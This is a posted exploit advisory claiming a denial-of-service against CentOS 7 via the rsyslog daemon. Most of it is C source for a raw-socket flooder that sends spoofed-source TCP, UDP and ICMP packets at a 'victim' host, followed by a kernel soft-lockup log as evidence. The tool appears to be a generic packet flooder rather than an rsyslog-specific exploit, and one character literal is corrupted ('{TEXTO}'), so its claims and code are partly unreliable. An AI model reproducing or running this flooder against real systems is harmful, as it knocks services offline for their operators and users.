##### #Exploit Title: CentOS7 Kernel Crashing by rsyslog daemon vulnerability | DOS on CentOS7 #Exploit Author: Hosein Askari (FarazPajohan) #Vendor HomePage: https://www.centos.org/ #Version : 7 #Tested on: Parrot OS #Date: 12-2-2017 #Category: Operating System #Vulnerable Daemon: RSYSLOG #Author Mail :hosein.askari@aol.com #Description: #The CentOS7's kernel is disrupted by vulnerability on rsyslog daemon, in which the cpu usage will be 100% until the remote exploit launches on the victim's #server. **************************** #Exploit Command : # ~~~#exploit.out -T3 -h <victim_ip> -p [514,514] // You can run this exploit on both "514 TCP/UDP" # #Exploit Code : #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <netdb.h> #include <sys/types.h> #ifdef F_PASS #include <sys/stat.h> #endif #include <netinet/in_systm.h> #include <sys/socket.h> #include <string.h> #include <time.h> #ifndef __USE_BSD # define __USE_BSD #endif #ifndef __FAVOR_BSD # define __FAVOR_BSD #endif #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <netinet/udp.h> #include <netinet/ip_icmp.h> #include <arpa/inet.h> #ifdef LINUX # define FIX(x) htons(x) #else # define FIX(x) (x) #endif #define TCP_ACK 1 #define TCP_FIN 2 #define TCP_SYN 4 #define TCP_RST 8 #define UDP_CFF 16 #define ICMP_ECHO_G 32 #define TCP_NOF 64 #define TCP_URG 128 #define TH_NOF 0x0 #define TCP_ATTACK() (a_flags & TCP_ACK ||\ a_flags & TCP_FIN ||\ a_flags & TCP_SYN ||\ a_flags & TCP_RST ||\ a_flags & TCP_NOF ||\ a_flags & TCP_URG ) #define UDP_ATTACK() (a_flags & UDP_CFF) #define ICMP_ATTACK() (a_flags & ICMP_ECHO_G) #define CHOOSE_DST_PORT() dst_sp == 0 ?\ random () :\ htons(dst_sp + (random() % (dst_ep -dst_sp +1))); #define CHOOSE_SRC_PORT() src_sp == 0 ?\ random () :\ htons(src_sp + (random() % (src_ep -src_sp +1))); #define SEND_PACKET() if (sendto(rawsock,\ &packet,\ (sizeof packet),\ 0,\ (struct sockaddr *)&target,\ sizeof target) < 0) {\ perror("sendto");\ exit(-1);\ } #define BANNER_CKSUM 54018 u_long lookup(const char *host); unsigned short in_cksum(unsigned short *addr, int len); static void inject_iphdr(struct ip *ip, u_char p, u_char len); char *class2ip(const char *class); static void send_tcp(u_char th_flags); static void send_udp(u_char garbage); static void send_icmp(u_char garbage); char *get_plain(const char *crypt_file, const char *xor_data_key); static void usage(const char *argv0); u_long dstaddr; u_short dst_sp, dst_ep, src_sp, src_ep; char *src_class, *dst_class; int a_flags, rawsock; struct sockaddr_in target; const char *banner = "Written By C0NSTANTINE"; struct pseudo_hdr { u_long saddr, daddr; u_char mbz, ptcl; u_short tcpl; }; struct cksum { struct pseudo_hdr pseudo; struct tcphdr tcp; }; struct { int gv; int kv; void (*f)(u_char); } a_list[] = { { TCP_ACK, TH_ACK, send_tcp }, { TCP_FIN, TH_FIN, send_tcp }, { TCP_SYN, TH_SYN, send_tcp }, { TCP_RST, TH_RST, send_tcp }, { TCP_NOF, TH_NOF, send_tcp }, { TCP_URG, TH_URG, send_tcp }, { UDP_CFF, 0, send_udp }, { ICMP_ECHO_G, ICMP_ECHO, send_icmp }, { 0, 0, (void *)NULL }, }; int main(int argc, char *argv[]) { int n, i, on = 1; int b_link; #ifdef F_PASS struct stat sb; #endif unsigned int until; a_flags = dstaddr = i = 0; dst_sp = dst_ep = src_sp = src_ep = 0; until = b_link = -1; src_class = dst_class = NULL; while ( (n = getopt(argc, argv, "T:UINs:h:d:p:q:l:t:")) != -1) { char *p; switch (n) { case 'T': switch (atoi(optarg)) { case 0: a_flags |= TCP_ACK; break; case 1: a_flags |= TCP_FIN; break; case 2: a_flags |= TCP_RST; break; case 3: a_flags |= TCP_SYN; break; case 4: a_flags |= TCP_URG; break; } break; case 'U': a_flags |= UDP_CFF; break; case 'I': a_flags |= ICMP_ECHO_G; break; case 'N': a_flags |= TCP_NOF; break; case 's': src_class = optarg; break; case 'h': dstaddr = lookup(optarg); break; case 'd': dst_class = optarg; i = 1; break; case 'p': if ( (p = (char *) strchr(optarg, ',')) == NULL) usage(argv[0]); dst_sp = atoi(optarg); dst_ep = atoi(p +1); break; case 'q': if ( (p = (char *) strchr(optarg, ',')) == NULL) usage(argv[0]); src_sp = atoi(optarg); src_ep = atoi(p +1); break; case 'l': b_link = atoi(optarg); if (b_link <= 0 || b_link > 100) usage(argv[0]); break; case 't': until = time(0) +atoi(optarg); break; default: usage(argv[0]); break; } } if ( (!dstaddr && !i) || (dstaddr && i) || (!TCP_ATTACK() && !UDP_ATTACK() && !ICMP_ATTACK()) || (src_sp != 0 && src_sp > src_ep) || (dst_sp != 0 && dst_sp > dst_ep)) usage(argv[0]); srandom(time(NULL) ^ getpid()); if ( (rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(-1); } if (setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) { perror("setsockopt"); exit(-1); } target.sin_family = AF_INET; for (n = 0; ; ) { if (b_link != -1 && random() % 100 +1 > b_link) { if (random() % 200 +1 > 199) usleep(1); continue; } for (i = 0; a_list[i].f != NULL; ++i) { if (a_list[i].gv & a_flags) a_list[i].f(a_list[i].kv); } if (n++ == 100) { if (until != -1 && time(0) >= until) break; n = 0; } } exit(0); } u_long lookup(const char *host) { struct hostent *hp; if ( (hp = gethostbyname(host)) == NULL) { perror("gethostbyname"); exit(-1); } return *(u_long *)hp->h_addr; } #define RANDOM() (int) random() % 255 +1 char * class2ip(const char *class) { static char ip[16]; int i, j; for (i = 0, j = 0; class[i] != '{TEXTO}'; ++i) if (class[i] == '.') ++j; switch (j) { case 0: sprintf(ip, "%s.%d.%d.%d", class, RANDOM(), RANDOM(), RANDOM()); break; case 1: sprintf(ip, "%s.%d.%d", class, RANDOM(), RANDOM()); break; case 2: sprintf(ip, "%s.%d", class, RANDOM()); break; default: strncpy(ip, class, 16); break; } return ip; } unsigned short in_cksum(unsigned short *addr, int len) { int nleft = len; int sum = 0; unsigned short *w = addr; unsigned short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(unsigned char *) (&answer) = *(unsigned char *)w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return answer; } static void inject_iphdr(struct ip *ip, u_char p, u_char len) { ip->ip_hl = 5; ip->ip_v = 4; ip->ip_p = p; ip->ip_tos = 0x08; /* 0x08 */ ip->ip_id = random(); ip->ip_len = len; ip->ip_off = 0; ip->ip_ttl = 255; ip->ip_dst.s_addr = dst_class != NULL ? inet_addr(class2ip(dst_class)) : dstaddr; ip->ip_src.s_addr = src_class != NULL ? inet_addr(class2ip(src_class)) : random(); target.sin_addr.s_addr = ip->ip_dst.s_addr; } static void send_tcp(u_char th_flags) { struct cksum cksum; struct packet { struct ip ip; struct tcphdr tcp; } packet; memset(&packet, 0, sizeof packet); inject_iphdr(&packet.ip, IPPROTO_TCP, FIX(sizeof packet)); packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20); cksum.pseudo.daddr = dstaddr; cksum.pseudo.mbz = 0; cksum.pseudo.ptcl = IPPROTO_TCP; cksum.pseudo.tcpl = htons(sizeof(struct tcphdr)); cksum.pseudo.saddr = packet.ip.ip_src.s_addr; packet.tcp.th_flags = random(); packet.tcp.th_win = random(); packet.tcp.th_seq = random(); packet.tcp.th_ack = random(); packet.tcp.th_off = 5; packet.tcp.th_urp = 0; packet.tcp.th_sport = CHOOSE_SRC_PORT(); packet.tcp.th_dport = CHOOSE_DST_PORT(); cksum.tcp = packet.tcp; packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof(cksum)); SEND_PACKET(); } static void send_udp(u_char garbage) { struct packet { struct ip ip; struct udphdr udp; } packet; memset(&packet, 0, sizeof packet); inject_iphdr(&packet.ip, IPPROTO_UDP, FIX(sizeof packet)); packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20); packet.udp.uh_sport = CHOOSE_SRC_PORT(); packet.udp.uh_dport = CHOOSE_DST_PORT(); packet.udp.uh_ulen = htons(sizeof packet.udp); packet.udp.uh_sum = 0; SEND_PACKET(); } static void send_icmp(u_char gargabe) { struct packet { struct ip ip; struct icmp icmp; } packet; memset(&packet, 0, sizeof packet); inject_iphdr(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet)); packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20); packet.icmp.icmp_type = ICMP_ECHO; packet.icmp.icmp_code = 0; packet.icmp.icmp_cksum = htons( ~(ICMP_ECHO << 8)); for(int pp=0;pp<=1000;pp++) {SEND_PACKET(); pp++; } } static void usage(const char *argv0) { printf("%s \n", banner); printf(" -U UDP attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n"); printf(" -I ICMP attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n"); printf(" -N Bogus attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n"); printf(" -T TCP attack \e[1;37m[\e[0m0:ACK, 1:FIN, 2:RST, 3:SYN, 4:URG\e[1;37m]\e[0m\n"); printf(" -h destination host/ip \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n"); printf(" -d destination class \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n"); printf(" -s source class/ip \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n"); printf(" -p destination port range [start,end] \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n"); printf(" -q source port range [start,end] \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n"); printf(" -l pps limiter \e[1;37m(\e[0m\e[0;31mno limit\e[0m\e[1;37m)\e[0m\n"); printf(" -t timeout \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n"); printf("\e[1musage\e[0m: %s [-T0 -T1 -T2 -T3 -T4 -U -I -h -p -t]\n", argv0); exit(-1); } ******************************** #Description : #The Sample Output of "dmesg" is shown below : [ 2613.161800] task: ffff88016f5cb980 ti: ffff88016f5e8000 task.ti: ffff88016f5e8000 [ 2613.161801] RIP: 0010:[<ffffffffa016963a>] [<ffffffffa016963a>] e1000_xmit_frame+0xaca/0x10b0 [e1000] [ 2613.161808] RSP: 0018:ffff880172203530 EFLAGS: 00000286 [ 2613.161809] RAX: ffffc90008fc3818 RBX: ffffffff00000000 RCX: ffff88016d220000 [ 2613.161810] RDX: 0000000000000047 RSI: 00000000ffffffff RDI: ffff88016d220000 [ 2613.161810] RBP: ffff8801722035b0 R08: 0000000000000000 R09: 0000000002000000 [ 2613.161811] R10: 0000000000000000 R11: 0000000000000000 R12: ffff8801722034a8 [ 2613.161812] R13: ffffffff8164655d R14: ffff8801722035b0 R15: 0000000000000000 [ 2613.161813] FS: 0000000000000000(0000) GS:ffff880172200000(0000) knlGS:0000000000000000 [ 2613.161813] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 2613.161814] CR2: 00007ff8367b1000 CR3: 000000016d143000 CR4: 00000000001407f0 [ 2613.161886] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 2613.161912] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 [ 2613.161913] Stack: [ 2613.161913] ffffffff81517cf7 ffff88016eab5098 000000468151a494 0000000800000000 [ 2613.161915] 000000006d738000 ffff880100000000 0000000100001000 ffff88014e09d100 [ 2613.161916] ffff8800358aeac0 ffff88016d220000 ffff88016eab5000 ffff88016d220000 [ 2613.161918] Call Trace: [ 2613.161919] <IRQ> [ 2613.161923] [<ffffffff81517cf7>] ? kfree_skbmem+0x37/0x90 [ 2613.161926] [<ffffffff8152c671>] dev_hard_start_xmit+0x171/0x3b0 [ 2613.161929] [<ffffffff8154cd74>] sch_direct_xmit+0x104/0x200 [ 2613.161931] [<ffffffff8152cae6>] dev_queue_xmit+0x236/0x570 [ 2613.161933] [<ffffffff8156ae1d>] ip_finish_output+0x53d/0x7d0 [ 2613.161934] [<ffffffff8156bdcf>] ip_output+0x6f/0xe0 [ 2613.161936] [<ffffffff8156a8e0>] ? ip_fragment+0x8b0/0x8b0 [ 2613.161937] [<ffffffff81569a41>] ip_local_out_sk+0x31/0x40 [ 2613.161938] [<ffffffff8156c816>] ip_send_skb+0x16/0x50 [ 2613.161940] [<ffffffff8156c883>] ip_push_pending_frames+0x33/0x40 [ 2613.161942] [<ffffffff8159a79e>] icmp_push_reply+0xee/0x120 [ 2613.161943] [<ffffffff8159ad18>] icmp_send+0x448/0x800 [ 2613.161945] [<ffffffff8156c816>] ? ip_send_skb+0x16/0x50 [ 2613.161946] [<ffffffff8159a79e>] ? icmp_push_reply+0xee/0x120 [ 2613.161949] [<ffffffff8163cb5b>] ? _raw_spin_unlock_bh+0x1b/0x40 [ 2613.161950] [<ffffffff8159aafc>] ? icmp_send+0x22c/0x800 [ 2613.161952] [<ffffffffa05cf421>] reject_tg+0x3c1/0x4f8 [ipt_REJECT] [ 2613.161966] [<ffffffff81170002>] ? split_free_page+0x22/0x200 [ 2613.161971] [<ffffffffa00920e0>] ipt_do_table+0x2e0/0x701 [ip_tables] [ 2613.161973] [<ffffffff81518e95>] ? skb_checksum+0x35/0x50 [ 2613.161975] [<ffffffff81518ef0>] ? skb_push+0x40/0x40 [ 2613.161976] [<ffffffff81517a70>] ? reqsk_fastopen_remove+0x140/0x140 [ 2613.161978] [<ffffffff81520061>] ? __skb_checksum_complete+0x21/0xd0 [ 2613.161981] [<ffffffffa03e2036>] iptable_filter_hook+0x36/0x80 [iptable_filter] [ 2613.161984] [<ffffffff8155c750>] nf_iterate+0x70/0xb0 [ 2613.161985] [<ffffffff8155c838>] nf_hook_slow+0xa8/0x110 [ 2613.161987] [<ffffffff81565f92>] ip_local_deliver+0xb2/0xd0 [ 2613.161988] [<ffffffff81565ba0>] ? ip_rcv_finish+0x350/0x350 [ 2613.161989] [<ffffffff815658cd>] ip_rcv_finish+0x7d/0x350 [ 2613.161990] [<ffffffff81566266>] ip_rcv+0x2b6/0x410 [ 2613.161992] [<ffffffff81565850>] ? inet_del_offload+0x40/0x40 [ 2613.161993] [<ffffffff8152a882>] __netif_receive_skb_core+0x582/0x7d0 [ 2613.161995] [<ffffffff8152aae8>] __netif_receive_skb+0x18/0x60 [ 2613.161996] [<ffffffff8152ab70>] netif_receive_skb+0x40/0xc0 [ 2613.161997] [<ffffffff8152b6e0>] napi_gro_receive+0x80/0xb0 [ 2613.162001] [<ffffffffa016803d>] e1000_clean_rx_irq+0x2ad/0x580 [e1000] [ 2613.162005] [<ffffffffa016aa75>] e1000_clean+0x265/0x8e0 [e1000] [ 2613.162007] [<ffffffff8152afa2>] net_rx_action+0x152/0x240 [ 2613.162009] [<ffffffff81084b0f>] __do_softirq+0xef/0x280 [ 2613.162011] [<ffffffff8164721c>] call_softirq+0x1c/0x30 [ 2613.162012] <EOI> [ 2613.162015] [<ffffffff81016fc5>] do_softirq+0x65/0xa0 [ 2613.162016] [<ffffffff81084404>] local_bh_enable+0x94/0xa0 [ 2613.162019] [<ffffffff81123f52>] rcu_nocb_kthread+0x232/0x370 [ 2613.162021] [<ffffffff810a6ae0>] ? wake_up_atomic_t+0x30/0x30 [ 2613.162022] [<ffffffff81123d20>] ? rcu_start_gp+0x40/0x40 [ 2613.162024] [<ffffffff810a5aef>] kthread+0xcf/0xe0 [ 2613.162026] [<ffffffff810a5a20>] ? kthread_create_on_node+0x140/0x140 [ 2613.162028] [<ffffffff81645858>] ret_from_fork+0x58/0x90 [ 2613.162029] [<ffffffff810a5a20>] ? kthread_create_on_node+0x140/0x140 [ 2613.162030] Code: 14 48 8b 45 c8 48 8b 80 00 03 00 00 f6 80 98 00 00 00 03 74 16 48 8b 4d c8 41 0f b7 47 2a 41 8b 57 18 48 03 81 90 0c 00 00 89 10 <48> 83 c4 58 31 c0 5b 41 5c 41 5d 41 5e 41 5f 5d c3 0f 1f 44 00 [ 2641.184338] BUG: soft lockup - CPU#0 stuck for 22s! [rcuos/0:138] #############################